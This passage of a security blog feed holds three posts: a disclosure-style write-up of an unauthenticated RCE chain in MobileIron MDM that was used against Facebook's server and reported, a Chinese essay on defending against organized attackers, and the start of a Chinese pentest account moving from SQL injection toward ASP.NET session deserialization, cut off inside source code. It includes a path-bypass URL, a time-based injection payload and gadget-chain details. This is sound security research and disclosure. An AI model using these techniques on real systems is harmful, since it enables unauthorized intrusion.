#ccc; } table tr:nth-child(2n) { background-color: #f8f8f8; } </style> <p><a href="/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM-en/">English Version</a> <a href="/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM">中文版本</a></p> <p>Hi, it’s a long time since my last article. This new post is about my research this March, which talks about how I found vulnerabilities on a leading Mobile Device Management product and bypassed several limitations to achieve unauthenticated RCE. All the vulnerabilities have been reported to the vendor and got fixed in June. After that, we kept monitoring large corporations to track the overall fixing progress and then found that Facebook didn’t keep up with the patch for more than 2 weeks, so we dropped a shell on Facebook and reported to their Bug Bounty program!</p> <p>This research is also presented at <a href="http://hitcon.org/2020">HITCON 2020</a>. You can check the slides <a href="https://hitcon.org/2020/slides/How%20I%20Hacked%20Facebook%20Again!.pdf">here</a></p> <p><br /></p> <p>As a Red Teamer, we are always looking for new paths to infiltrate the corporate network from outside. Just like <a href="https://www.blackhat.com/us-19/briefings/schedule/#infiltrating-corporate-intranet-like-nsa---pre-auth-rce-on-leading-ssl-vpns-15545">our research in Black Hat USA last year</a>, we demonstrated how leading SSL VPNs could be hacked and become your Virtual “Public” Network! SSL VPN is trusted to be secure and considered the only way to your private network. But, what if your trusted appliances are insecure?</p> <p>Based on this scenario, we would like to explore new attack surfaces on enterprise security, and we get interested in MDM, so this is the article for that!</p> <h2 id="what-is-mdm">What is MDM?</h2> <p>Mobile Device Management, also known as MDM, is an asset assessment system that makes the employees’ <a href="https://en.wikipedia.org/wiki/Bring_your_own_device">BYOD</a> more manageable for enterprises. It was proposed in 2012 in response to the increasing number of tablets and mobile devices. MDM can guarantee that the devices are running under the corporate policy and in a trusted environment. Enterprise could manage assets, install certificates, deploy applications and even lock/wipe devices remotely to prevent data leakage as well.</p> <p>UEM (Unified Endpoint Management) is a newer term relevant to MDM which has a broader definition for managed devices. Following we use MDM to represent similar products!</p> <h2 id="our-target">Our target</h2> <p>MDM, as a centralized system, can manage and control all employees’ devices. It is undoubtedly an ideal asset assessment system for a growing company. Besides, MDM must be reachable publicly to synchronize devices all over the world. A centralized and public-exposing appliance, what could be more appealing to hackers?</p> <p>Therefore, we have seen hackers and APT groups abusing MDM these years! Such as phishing victims to make MDM a C&amp;C server of their mobile devices, or even compromising the corporate exposed MDM server to push malicious Trojans to all devices. You can read the report <a href="https://blogs.cisco.com/security/talos/malicious-mdm-lets-hide-this-app">Malicious MDM: Let’s Hide This App</a> by Cisco Talos team and <a href="https://research.checkpoint.com/2020/mobile-as-attack-vector-using-mdm/">First seen in the wild - Malware uses Corporate MDM as attack vector</a> by CheckPoint CPR team for more details!</p> <p>From previous cases, we know that MDM is a solid target for hackers, and we would like to do research on it. There are several MDM solutions, even famous companies such as Microsoft, IBM and Apple have their own MDM solution. Which one should we start with?</p> <p>We have listed known MDM solutions and scanned corresponding patterns all over the Internet. We found that the most prevalent MDMs are VMware AirWatch and MobileIron!</p> <p>So, why did we choose MobileIron as our target? According to their official website, more than 20,000 enterprises chose MobileIron as their MDM solution, and most of our customers are using that as well. We also know Facebook has exposed the MobileIron server <a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/">since 2016</a>. We have analyzed Fortune Global 500 as well, and found more than 15% using and exposing their MobileIron server to the public! Due to above reasons, it became our main target!</p> <h2 id="where-to-start">Where to Start</h2> <p>From <a href="https://www.cvedetails.com/vulnerability-list/vendor_id-13968/Mobileiron.html">past vulnerabilities</a>, we learned there aren’t too many researchers diving into MobileIron. Perhaps the attack vector is still unknown. But we suspect the main reason is that the firmware is too hard to obtain. When researching an appliance, turning a pure BlackBox testing into GrayBox, or WhiteBox testing is vital. We spent lots of time searching for all kinds of information on the Internet, and ended up with an RPM package. This RPM file is supposed to be the developer’s testing package. The file is just sitting on a listable WebRoot and indexed by Google Search.</p> <p><img src="/assets/img/blog/20200912/1.png" alt="" /></p> <p>Anyway, we got a file to research. The released date of the file is in early 2018. It seems a little bit old but still better than nothing!</p> <p><em>P.S. We have informed MobileIron and the sensitive files has been removed now.</em></p> <h2 id="finding-vulnerabilities">Finding Vulnerabilities</h2> <p>After a painful time solving the dependency hell, we set the testing package up finally. The component is based on Java and exposed three ports:</p> <ul> <li>443 - the user enrollment interface</li> <li>8443 - the appliance management interface</li> <li>9997 - the MobileIron device synchronization protocol (MI Protocol)</li> </ul> <p>All opened ports are TLS-encrypted. Apache is in the front of the web part and proxies all connections to backend, a Tomcat with Spring MVC inside.</p> <p><img src="/assets/img/blog/20200912/2_en.png" alt="" /></p> <p>Due to the Spring MVC, it’s hard to find traditional vulnerabilities like SQL Injection or XSS from a single view. Therefore, examining the logic and architecture is our goal this time!</p> <p>Talking about the vulnerability, the root cause is straightforward. Tomcat exposed a Web Service that deserializes user input with Hessian format. However, this doesn’t mean we can do everything! The main effort of this article is to solve that, so please see the exploitation below.</p> <p>Although we know the Web Service deserializes the user input, we can not trigger it. The endpoint is located on both:</p> <ul> <li>User enrollment interface - <code class="language-plaintext highlighter-rouge">https://mobileiron/mifs/services/</code></li> <li>Management interface - <code class="language-plaintext highlighter-rouge">https://mobileiron:8443/mics/services/</code></li> </ul> <p>We can only touch the deserialization through the management interface because the user interface blocks the Web Service access. It’s a critical hit for us because most enterprises won’t expose their management interface to the Internet, and a management-only vulnerability is not useful to us so that we have to try harder. :(</p> <p>Scrutinizing the architecture, we found Apache blocks our access through Rewrite Rules. It looks good, right?</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteRule</span> ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L] <span class="nc">RewriteRule</span> ^/mifs/services [F] </code></pre></div></div> <p>MobileIron relied on Apache Rewrite Rules to block all the access to Web Service. It’s in the front of a reverse-proxy architecture, and the backend is a Java-based web server.</p> <p>Have you recalled something?</p> <p><br /></p> <p>Yes, the <a href="https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html">Breaking Parser Logic</a>! It’s the reverse proxy attack surface I <a href="https://github.com/orangetw/My-CTF-Web-Challenges#blackbox">proposed in 2015</a>, and presented at <a href="https://www.blackhat.com/us-18/briefings.html#breaking-parser-logic-take-your-path-normalization-off-and-pop-0days-out">Black Hat USA 2018</a>. This technique leverage the inconsistency between the Apache and Tomcat to bypass the ACL control and reaccess the Web Service. BTW, this excellent technique is also applied to the recently <a href="https://support.f5.com/csp/article/K52145254">F5 BIG-IP TMUI RCE vulnerability</a>!</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://mobileiron/mifs/.;/services/someService </code></pre></div></div> <h2 id="exploiting-vulnerabilities">Exploiting Vulnerabilities</h2> <p>OK, now we have access to the deserialization wherever it’s on enrollment interface or management interface. Let’s go back to exploitations!</p> <p><a href="https://github.com/mbechler">Moritz Bechler</a> has an awesome research which summarized the Hessian deserialization vulnerability on his whitepaper, <a href="https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf">Java Unmarshaller Security</a>. From the <a href="https://github.com/mbechler/marshalsec">marshalsec</a> source code, we learn the Hessian deserialization triggers the <code class="language-plaintext highlighter-rouge">equals()</code> and <code class="language-plaintext highlighter-rouge">hashcode()</code> while reconstructing a <code class="language-plaintext highlighter-rouge">HashMap</code>. It could also trigger the <code class="language-plaintext highlighter-rouge">toString()</code> through the <code class="language-plaintext highlighter-rouge">XString</code>, and the known exploit gadgets so far are:</p> <ul> <li>Apache XBean</li> <li>Caucho Resin</li> <li>Spring AOP</li> <li>ROME EqualsBean/ToStringBean</li> </ul> <p>In our environment, we could only trigger the Spring AOP gadget chain and get a JNDI Injection.</p> <table> <thead> <tr> <th> </th> <th>Name</th> <th>Effect</th> </tr> </thead> <tbody> <tr> <td>x</td> <td>Apache XBean</td> <td>JNDI Injection</td> </tr> <tr> <td>x</td> <td>Caucho Resin</td> <td>JNDI Injection</td> </tr> <tr> <td><strong>√</strong></td> <td><strong>Spring AOP</strong></td> <td><strong>JNDI Injection</strong></td> </tr> <tr> <td>x</td> <td>ROME EqualsBean</td> <td>RCE</td> </tr> </tbody> </table> <p>Once we have a JNDI Injection, the rest parts of exploitations are easy! We can just leverage <a href="https://twitter.com/pwntester">Alvaro Muñoz</a> and <a href="https://twitter.com/olekmirosh">Oleksandr Mirosh</a>’s work, <a href="https://www.blackhat.com/us-16/briefings.html#a-journey-from-jndi-ldap-manipulation-to-remote-code-execution-dream-land">A Journey From JNDI/LDAP to Remote Code Execution Dream Land</a>, from Black Hat USA 2016 to get the code execution… Is that true?</p> <p><img src="/assets/img/blog/20200912/3_en.png" alt="" /></p> <p><br /></p> <p>Since <a href="https://twitter.com/pwntester">Alvaro Muñoz</a> and <a href="https://twitter.com/olekmirosh">Oleksandr Mirosh</a> introduced this on Black Hat, we could say that this technique helps countless security researchers and brings Java deserialization vulnerability into a new era. However, Java finally mitigated the last JNDI/LDAP puzzle in <a href="https://www.oracle.com/java/technologies/javase/8u181-relnotes.html">October 2018</a>. After that, all java version higher than 8u181, 7u191, and 6u201 can no longer get code execution through JNDI remote URL-Class loading. Therefore, if we exploit the Hessian deserialization on the latest MobileIron, we must face this problem!</p> <p>Java changed the default value of <code class="language-plaintext highlighter-rouge">com.sun.jndi.ldap.object.trustURLCodebase</code> to <code class="language-plaintext highlighter-rouge">False</code> to prevent attackers from downloading remote URL-Class to get code executions. But only this has been prohibited. We can still manipulate the JNDI and redirect the Naming Reference to a local Java Class!</p> <p>The concept is a little bit similar to <a href="https://en.wikipedia.org/wiki/Return-oriented_programming">Return-Oriented Programming</a>, utilizing a local existing Java Class to do further exploitations. You can refer to the article <a href="https://www.veracode.com/blog/research/exploiting-jndi-injections-java">Exploiting JNDI Injections in Java</a> by <a href="https://twitter.com/artsploit">Michael Stepankin</a> in early 2019 for details. It describes the attack on POST-JNDI exploitations and how to abuse the Tomcat’s <code class="language-plaintext highlighter-rouge">BeanFactory</code> to populate the <code class="language-plaintext highlighter-rouge">ELProcessor</code> gadget to get code execution. Based on this concept, researcher <a href="https://github.com/welk1n">Welkin</a> also provides another <code class="language-plaintext highlighter-rouge">ParseClass</code> gadget on Groovy. As described in <a href="https://www.cnblogs.com/Welk1n/p/11066397.html">his (Chinese) article</a>:</p> <blockquote> <p>除了 javax.el.ELProcessor,当然也还有很多其他的类符合条件可以作为 beanClass 注入到 BeanFactory 中实现利用。举个例子,如果目标机器 classpath 中有 groovy 的库,则可以结合之前 Orange 师傅发过的 <a href="https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html">Jenkins 的漏洞实现利用</a></p> </blockquote> <p>It seems the Meta Programming exploitation in my previous Jenkins research could be used here as well. It makes the Meta Programming great again :D</p> <p><br /></p> <p>The approach is fantastic and looks feasible for us. But both gadgets <code class="language-plaintext highlighter-rouge">ELProcessor</code> and <code class="language-plaintext highlighter-rouge">ParseClass</code> are unavailable due to our outdated target libraries. Tomcat introduced the <code class="language-plaintext highlighter-rouge">ELProcessor</code> since 8.5, but our target is 7. As for the Groovy gadget, the target Groovy version is too old (1.5.6 from 2008) to support the Meta Programming, so we still have to find a new gadget by ourselves. We found a new gadget on <code class="language-plaintext highlighter-rouge">GroovyShell</code> in the end. If you are interested, you can check the <a href="https://github.com/welk1n/JNDI-Injection-Bypass/pull/1">Pull Request</a> I sent to the <a href="https://github.com/welk1n/JNDI-Injection-Bypass">JNDI-Injection-Bypass</a> project!</p> <h2 id="attacking-facebook">Attacking Facebook</h2> <p>Now we have a perfect RCE by chaining JNDI Injection, Tomcat <code class="language-plaintext highlighter-rouge">BeanFactory</code> and <code class="language-plaintext highlighter-rouge">GroovyShell</code>. It’s time to hack Facebook!</p> <p>Aforementioned, we knew the Facebook uses MobileIron since 2016. Although the server’s index responses 403 Forbidden now, the Web Service is still accessible!</p> <p><img src="/assets/img/blog/20200912/4.png" alt="" /></p> <p>Everything is ready and wait for our exploit! However, several days before our scheduled attack, we realized that there is a critical problem in our exploit. From <a href="https://devco.re/blog/2016/04/21/how-I-hacked-facebook-and-found-someones-backdoor-script-eng-ver/">our last time popping shell on Facebook</a>, we noticed it blocks outbound connections due to security concerns. The outbound connection is vital for JNDI Injection because the idea is to make victims connecting to a malicious server to do further exploitations. But now, we can’t even make an outbound connection, not to mention others.</p> <p><img src="/assets/img/blog/20200912/5_en.png" alt="" /></p> <p><br /></p> <p>So far, all attack surfaces on JNDI Injection have been closed, we have no choice but to return to Hessian deserialization. But due to the lack of available gadgets, we must discover a new one by ourselves!</p> <p><br /></p> <p><img src="/assets/img/blog/20200912/6.png" alt="" /></p> <p>Before discovering a new gadget, we have to understand the existing gadgets’ root cause properly. After re-reading Moritz Bechler’s <a href="https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf">paper</a>, a certain word interested me:</p> <blockquote> <p>Cannot restore Groovy’s MethodClosure as readResolve() is called which throws an exception.</p> </blockquote> <p><br /></p> <p>A question quickly came up in my mind: Why did the author leave this word here? Although it failed with exceptions, there must have been something special so that the author write this down.</p> <p>Our target is running with a very old Groovy, so we are guessing that the <code class="language-plaintext highlighter-rouge">readResolve()</code> constrain might not have been applied to the code base yet! We compared the file <code class="language-plaintext highlighter-rouge">groovy/runtime/MethodClosure.java</code> between the latest and 1.5.6.</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span> <span class="n">diff</span> <span class="mi">1_5</span><span class="n">_6</span><span class="o">/</span><span class="nc">MethodClosure</span><span class="o">.</span><span class="na">java</span> <span class="mi">3_0</span><span class="n">_4</span><span class="o">/</span><span class="nc">MethodClosure</span><span class="o">.</span><span class="na">java</span> <span class="o">&gt;</span> <span class="kd">private</span> <span class="nc">Object</span> <span class="nf">readResolve</span><span class="o">()</span> <span class="o">{</span> <span class="o">&gt;</span> <span class="k">if</span> <span class="o">(</span><span class="no">ALLOW_RESOLVE</span><span class="o">)</span> <span class="o">{</span> <span class="o">&gt;</span> <span class="k">return</span> <span class="k">this</span><span class="o">;</span> <span class="o">&gt;</span> <span class="o">}</span> <span class="o">&gt;</span> <span class="k">throw</span> <span class="k">new</span> <span class="nc">UnsupportedOperationException</span><span class="o">();</span> <span class="o">&gt;</span> <span class="o">}</span> </code></pre></div></div> <p>Yes, we are right. There is no <code class="language-plaintext highlighter-rouge">ALLOW_RESOLVE</code> in Groovy 1.5.6, and we later learned <a href="https://groovy-lang.org/security.html">CVE-2015-3253</a> is just for that. It’s a mitigation for the rising Java deserialization vulnerability in 2015. Since Groovy is an internally used library, developers won’t update it if there is no emergency. The outdated Groovy could also be a good case study to demonstrated how a harmless component can leave you compromised!</p> <p>Of course we got the shell on Facebook in the end. Here is the video:</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/hGTLIIOb14A" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h2 id="vulnerability-report-and-patch">Vulnerability Report and Patch</h2> <p>We have done all the research on March and sent the advisory to MobileIron at 4/3. The MobileIron released the patch on 6/15 and addressed three CVEs for that. You can check the <a href="https://www.mobileiron.com/en/blog/mobileiron-security-updates-available">official website</a> for details!</p> <ul> <li>CVE-2020-15505 - Remote Code Execution</li> <li>CVE-2020-15506 - Authentication Bypass</li> <li>CVE-2020-15507 - Arbitrary File Reading</li> </ul> <p>After the patch has been released, we start monitoring the Internet to track the overall fixing progress. Here we check the <code class="language-plaintext highlighter-rouge">Last-Modified</code> header on static files so that the result is just for your information. (Unknown stands for the server closed both 443 and 8443 ports)</p> <p><img src="/assets/img/blog/20200912/7.png" alt="" /></p> <p><br /></p> <p>At the same time, we keep our attentions on Facebook as well. With 15 days no-patch confirm, we finally popped a shell and report to their Bug Bounty program at 7/2!</p> <h2 id="conclusion">Conclusion</h2> <p>So far, we have demonstrated a completely unauthenticated RCE on MobileIron. From how we get the firmware, find the vulnerability, and bypass the JNDI mitigation and network limitation. There are other stories, but due to the time, we have just listed topics here for those who are interested:</p> <ul> <li>How to take over the employees’ devices from MDM</li> <li>Disassemble the MI Protocol</li> <li>And the CVE-2020-15506, an interesting authentication bypass</li> </ul> <p>I hope this article could draw attention to MDM and the importance of enterprise security! Thanks for reading. :D</p> https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM-en/ https://devco.re/blog/2020/09/12/how-I-hacked-Facebook-again-unauthenticated-RCE-on-MobileIron-MDM-en Sat, 12 Sep 2020 00:00:00 +0800 敵人不是勒贖軟體,而是組織型駭客 <h2 id="前言">前言</h2> <p>駭客攻擊事件一直存在於真實世界,只是鮮少被完整公開揭露。今年國內一些重大關鍵基礎設施 (Critical Information Infrastructure Protection,CIIP) 以及國內的跨國企業紛紛發生嚴重的資安事件,我們想簡單的跟大家談談這些事件背後企業真正需要思考及重視的核心問題。</p> <h2 id="企業面對的是組織型駭客而不只是勒贖軟體">企業面對的是組織型駭客而不只是勒贖軟體</h2> <p>不知道是因為勒贖軟體比較吸睛還是什麼緣故,媒體比較喜歡用勒贖軟體作為標題呈現近年企業面臨的重大威脅。實際上,勒贖軟體只是攻擊過程的工具、加密只是勒贖的手段之一,甚至包含竊取機敏資料。因為這些事件我們沒有參與調查或相關的活動,我們僅就已公開揭露的資料來一窺面對這樣的威脅,企業的具體做法有哪些?</p> <p>根據法務部調查局在 iThome 2020 資安大會的<a href="https://www.ithome.com.tw/news/139331">分享</a></p> <blockquote> <p>在這起攻擊事件中,駭客首先從 Web 伺服器、員工電腦等途徑,入侵公司系統長期潛伏及探測,而後竊取帳號權限,進入 AD 伺服器,利用凌晨時段竄改群組派送原則(GPO),同時預埋 lc.tmp 惡意程式到內部伺服器中,等到員工上班打開電腦後,電腦立即套用遭竄改的 GPO,依據指令就會自動將勒索軟體載到記憶體中來執行。</p> </blockquote> <p>企業在被勒贖軟體加密後,往往第一時間容易直覺想到防毒軟體或端點防護設備為何沒有生效?現實是,如果企業面對的是針對式的攻擊(Advanced Persistent Threat,APT),攻擊者勢必會研究可以繞過企業的防護或監控的方式。所以企業要思考的應該是一個防禦戰線或更為全面的防護策略,而非仰賴單一的資安設備或服務。</p> <p>從上述的敘述,我們可以發現幾個問題:</p> <ol> <li><strong>Web 伺服器具有可利用的漏洞</strong>,而這個漏洞可能導致主機被取得權限進行後續的橫向移動。造成這個問題的原因可能包含: <ul> <li>系統從未進行高強度的滲透測試及定期執行弱點掃描</li> <li>屬於老舊無法修補的系統(使用老舊的框架、程式語言)或是廠商已經不再維護</li> <li>一次性的活動網站或測試網站,活動或測試結束後未依照程序下線,成為企業防禦破口</li> <li>不在企業盤點的防護範圍內(如前端未設置 WAF)</li> </ul> </li> <li><strong>從員工電腦或是 Web 伺服器可以逐步跳到 AD 伺服器</strong>,可能存在的問題則包含: <ul> <li>網路間的區隔不嚴謹,例如未依照資料或系統的重要性進行區隔</li> <li>同網段伺服器間的通訊方式管控不當,沒有開啟或管制重要伺服器的通訊埠或限制來源 IP 位址</li> <li>系統存在可利用取得權限的弱點</li> </ul> </li> <li><strong>利用凌晨時段竄改群組派送原則</strong>:最後是回應機制未即時(包含人員接獲告警後處理不當),企業對於具有集中管理權限的重要系統,例如 AD Server、資產管理軟體等這類型的主機,除了對特權帳號高強度的管理外(如 OTP),也應該針對「異常帳號登入」、「異常帳號新增到群組」、「正常帳號異常登入時間」、「新增排程或 GPO」等行為發出告警;而各種告警也應該依照資產的重要性訂定不同的 SLA 回應與處理。</li> </ol> <h2 id="你需要更全面目標導向的方式思考企業資安現況">你需要更全面、目標導向的方式思考企業資安現況</h2> <p>我們在近三年的紅隊演練,以企業對其營運最關鍵的資訊資產作為演練標的,並模擬組織型駭客的攻擊模式,透過外部情搜、取得外部系統權限、橫向移動、持續取得更多內部伺服器權限及提權、破解密碼,最終達到企業指定的關鍵資產執行演練情境。而企業透過高強度且精準的演練過程,除了明確掌握可被入侵的路徑外,更得以檢視上述問題的不足並持續改善。</p> <p>我們認為,只要你的企業夠重要(對駭客而言重要,而不是自己覺得重要),組織型的攻擊就不會停歇!企業唯有不斷的找出自己不足之處,持續提升自己的防禦強度才是能真正降低風險的正確作法。</p> <p>至於「第三方供應鏈安全」及「如何更完整的制定資安策略」,我們將找時間另外跟大家說明。</p> https://devco.re/blog/2020/08/21/the-enemy-is-not-ransomware-its-nation-state-hackers/ https://devco.re/blog/2020/08/21/the-enemy-is-not-ransomware-its-nation-state-hackers Fri, 21 Aug 2020 00:00:00 +0800 從 SQL 到 RCE: 利用 SessionState 反序列化攻擊 ASP.NET 網站應用程式 <p>今日來聊聊在去年某次滲透測試過中發現的趣事,那是在一個風和日麗的下午,與往常一樣進行著枯燥的測試環節,對每個參數嘗試各種可能的注入,但遲遲沒有任何進展和突破,直到在某個頁面上注入 <code class="language-plaintext highlighter-rouge">?id=1; waitfor delay '00:00:05'--</code>,然後他就卡住了,過了恰好 5 秒鐘後伺服器又有回應,這表示我們找到一個 SQL Server 上的 SQL Injection!</p> <p>一些陳舊、龐大的系統中,因為一些複雜的因素,往往仍使用著 sa 帳戶來登入 SQL Server,而在有如此高權限的資料庫帳戶前提下,我們可以輕易利用 xp_cmdshell 來執行系統指令以取得資料庫伺服器的作業系統控制權,但假如故事有如此順利,就不會出現這篇文章,所以理所當然我們取得的資料庫帳戶並沒有足夠權限。但因為發現的 SQL Injection 是 Stacked based,我們仍然可以對資料表做 CRUD,運氣好控制到一些網站設定變數的話,甚至可以直接達成 RCE,所以還是試著 dump schema 以了解架構,而在 dump 過程中發現了一個有趣的資料庫:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Database: ASPState [2 tables] +---------------------------------------+ | dbo.ASPStateTempApplications | | dbo.ASPStateTempSessions | +---------------------------------------+ </code></pre></div></div> <p>閱讀文件後了解到,這個資料庫的存在用途是用來保存 ASP.NET 網站應用程式的 session。一般情況下預設 session 是儲存在 ASP.NET 網站應用程式的記憶體中,但某些分散式架構(例如 Load Balance 架構)的情況下,同時會有多個一模一樣的 ASP.NET 網站應用程式運行在不同伺服器主機上,而使用者每次請求時被分配到的伺服器主機也不會完全一致,就會需要有可以讓多個主機共享 session 的機制,而儲存在 SQL Server 上就是一種解決方案之一,想啟用這個機制可以在 web.config 中添加如下設定:</p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;configuration&gt;</span> <span class="nt">&lt;system.web&gt;</span> <span class="c">&lt;!-- 將 session 保存在 SQL Server 中。 --&gt;</span> <span class="nt">&lt;sessionState</span> <span class="na">mode=</span><span class="s">"SQLServer"</span> <span class="na">sqlConnectionString=</span><span class="s">"data source=127.0.0.1;user id=&lt;username&gt;;password=&lt;password&gt;"</span> <span class="na">timeout=</span><span class="s">"20"</span> <span class="nt">/&gt;</span> <span class="c">&lt;!-- 預設值,將 session 保存在記憶體中。 --&gt;</span> <span class="c">&lt;!-- &lt;sessionState mode="InProc" timeout="20" /&gt; --&gt;</span> <span class="c">&lt;!-- 將 session 保存在 ASP.NET State Service 中, 另一種跨主機共享 session 的解決方案。 --&gt;</span> <span class="c">&lt;!-- &lt;sessionState mode="StateServer" stateConnectionString="tcpip=localhost:42424" timeout="20" /&gt; --&gt;</span> <span class="nt">&lt;/system.web&gt;</span> <span class="nt">&lt;/configuration&gt;</span> </code></pre></div></div> <p>而要在資料庫中建立 ASPState 的資料庫,可以利用內建的工具 <code class="language-plaintext highlighter-rouge">C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe</code> 完成這個任務,只需要使用下述指令即可:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 建立 ASPState 資料庫</span> aspnet_regsql.exe <span class="nt">-S</span> 127.0.0.1 <span class="nt">-U</span> sa <span class="nt">-P</span> password <span class="nt">-ssadd</span> <span class="nt">-sstype</span> p <span class="c"># 移除 ASPState 資料庫</span> aspnet_regsql.exe <span class="nt">-S</span> 127.0.0.1 <span class="nt">-U</span> sa <span class="nt">-P</span> password <span class="nt">-ssremove</span> <span class="nt">-sstype</span> p </code></pre></div></div> <p>現在我們了解如何設定 session 的儲存位置,且又可以控制 ASPState 資料庫,可以做到些什麼呢?這就是文章標題的重點,取得 Remote Code Execution!</p> <p>ASP.NET 允許我們在 session 中儲存一些物件,例如儲存一個 List 物件:<code class="language-plaintext highlighter-rouge">Session["secret"] = new List&lt;String&gt;() { "secret string" };</code>,對於如何將這些物件保存到 SQL Server 上,理所當然地使用了<strong>序列化機制</strong>來處理,而我們又控制了資料庫,所以也能執行任意反序列化,為此需要先了解 Session 物件序列化與反序列化的過程。</p> <p>簡單閱讀程式碼後,很快就可以定位出處理相關過程的類別,為了縮減說明的篇幅,以下將直接切入重點說明從資料庫取出資料後進行了什麼樣的反序列化操作。核心主要是透過呼叫 <code class="language-plaintext highlighter-rouge">SqlSessionStateStore.GetItem</code> 函式還原出 Session 物件,雖然已盡可能把無關緊要的程式碼移除,但行數還是偏多,如果懶得閱讀程式碼的朋友可以直接下拉繼續看文章說明 XD</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">namespace</span> <span class="nn">System.Web.SessionState</span> <span class="p">{</span> <span class="k">internal</span> <span class="k">class</span> <span class="nc">SqlSessionStateStore</span> <span class="p">:</span> <span class="n">SessionStateStoreProviderBase</span> <span class="p">{</span> <span class="k">public</span> <span class="k">override</span> <span class="n">SessionStateStoreData</span> <span class="nf">GetItem</span><span class="p">(</span><span class="n">HttpContext</span> <span class="n">context</span><span class="p">,</span> <span class="n">String</span> <span class="n">id</span><span class="p">,</span> <span class="k">out</span> <span class="kt">bool</span> <span class="n">locked</span><span class="p">,</span> <span class="k">out</span> <span class="n">TimeSpan</span> <span class="n">lockAge</span><span class="p">,</span> <span class="k">out</span> <span class="kt">object</span> <span class="n">lockId</span><span class="p">,</span> <span class="k">out</span> <span class="n">SessionStateActions</span> <span class="n">actionFlags</span><span class="p">)</span> <span class="p">{</span> <span class="n">SessionIDManager</span><span class="p">.</span><span class="nf">CheckIdLength</span><span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="k">true</span> <span class="cm">/* throwOnFail */</span><span class="p">);</span> <span class="k">return</span> <span class="nf">DoGet</span><span class="p">(</span><span class="n">context</span><span class="p">,</span> <span class="n">id</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="k">out</span> <span class="n">locked</span><span class="p">,</span> <span class="k">out</span> <span class="n">lockAge</span><span class="p">,</span> <span class="k">out</span> <span class="n">lockId</span><span class="p">,</span> <span class="k">out</span> <span class="n">actionFlags</span><span class="p">);</span> <span class="p">}</span> <span class="n">SessionStateStoreData</span> <span class="nf">DoGet</span><span class="p">(</span><span class="n">HttpContext</span> <span class="n">context</span><span class="p">,</span> <span class="n">String</span> <span class="n">id</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">getExclusive</span><span class="p">,</span> <span class="k">out</span> <span class="kt">bool</span> <span class="n">locked</span><span class="p">,</span> <span class="k">out</span> <span class="n">TimeSpan</span> <span class="n">lockAge</span><span class="p">,</span> <span class="k">out</span> <span class="kt">object</span> <span class="n">lockId</span><span class="p">,</span> <span class="k">out</span> <span class="n">SessionStateActions</span> <span class="n">actionFlags</span><span class="p">)</span> <span class="p">{</span> <span class="n">SqlDataReader</span> <span class="n">reader</span><span class="p">;</span> <span class="kt">byte</span> <span class="p">[]</span> <span class="n">buf</span><span class="p">;</span> <span class="n">MemoryStream</span> <span class="n">stream</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="n">SessionStateStoreData</span> <span class="n">item</span><span class="p">;</span> <span class="n">SqlStateConnection</span> <span class="n">conn</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="n">SqlCommand</span> <span class="n">cmd</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="kt">bool</span> <span class="n">usePooling</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="n">reader</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span> <span class="n">conn</span> <span class="p">=</span> <span class="nf">GetConnection</span><span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="k">ref</span> <span class="n">usePooling</span><span class="p">);</span> <span class="k">try</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">getExclusive</span><span class="p">)</span> <span class="p">{</span> <span class="n">cmd</span> <span class="p">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">TempGetExclusive</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">cmd</span> <span class="p">=</span> <span class="n">conn</span><span class="p">.</span><span class="n">TempGet</span><span class="p">;</span> <span class="p">}</span> <span class="n">cmd</span><span class="p">.</span><span class="n">Parameters</span><span class="p">[</span><span class="m">0</span><span class="p">].</span><span class="n">Value</span> <span class="p">=</span> <span class="n">id</span> <span class="p">+</span> <span class="n">_partitionInfo</span><span class="p">.</span><span class="n">AppSuffix</span><span class="p">;</span> <span class="c1">// @id</span> <span class="n">cmd</span><span class="p">.</span><span class="n">Parameters</span><span class="p">[</span><span class="m">1</span><span class="p">].</span><span class="n">Value</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">DBNull</span><span class="p">;</span> <span class="c1">// @itemShort</span> <span class="n">cmd</span><span class="p">.</span><span class="n">Parameters</span><span class="p">[</span><span class="m">2</span><span class="p">].</span><span class="n">Value</span> <span class="p">=</span> <span class="n">Convert</span><span class="p">.</span><span class="n">DBNull</span><span class="p">;</span> <span class="c1">// @locked</span> <span 